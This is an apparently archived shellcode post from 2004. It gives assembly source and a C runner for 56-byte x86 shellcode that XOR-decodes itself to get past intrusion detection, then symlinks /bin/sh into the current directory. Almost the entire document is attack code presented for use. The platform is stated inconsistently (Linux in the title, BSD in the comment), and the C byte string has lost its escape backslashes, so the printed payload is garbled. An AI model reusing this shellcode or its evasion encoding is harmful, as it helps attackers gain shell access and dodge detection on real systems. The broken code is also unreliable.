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# Title : linux/x86 symlink /bin/sh xoring 56 bytes
# Published : 2004-09-26
# Author : dev0id
# Previous Title : linux/x86 execve /bin/sh IA32 0xff-less 45 bytes
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/*The shellcode calls the symlink() and makes the
link to the /bin/sh in the current dir.
short version with anti IDS xoring
size = 56 bytes
OS = *BSD
written by /rootteam/dev0id (www.sysworld.net)
dev0id@uncompiled.com
BITS 32
jmp short callme
main:
pop esi
xor ecx,ecx
mov cl,32
main_loop:
xor byte [esi+ecx],0x0f
loop main_loop
xor byte [esi+ecx],0x0f
push esi
ret
callme:
xored_shellcode:
call main
db 0xe4,0x1d,0x51,0x3e,0xcf,0x87,0x49,0x08,0x82,0x51,0x0a,0x5c,0x82,0x11,0x5c
db 0xbf,0x36,0x5f,0xc2,0x8f,0xe7,0xe6,0xf0,0xf0,0xf0,0x20,0x6d,0x66,0x61,0x20
db 0x7c,0x67
*/
char shellcode[] =
"xebx11x5ex31xc9xb1x20x80x34x0ex0fxe2xfax80x34"
"x0ex0fx56xc3xe8xeaxffxffxffxe4x1dx51x3excfx87"
"x49x08x82x51x0ax5cx82x11x5cxbfx36x5fxc2x8fxe7"
"xe6xf0xf0xf0x20x6dx66x61x20x7cx67";
int
main (void)
{
void (*code)(void);
code=(void(*)())shellcode;
(void)code();
return 0;
}
// www.Syue.com [2004-09-26]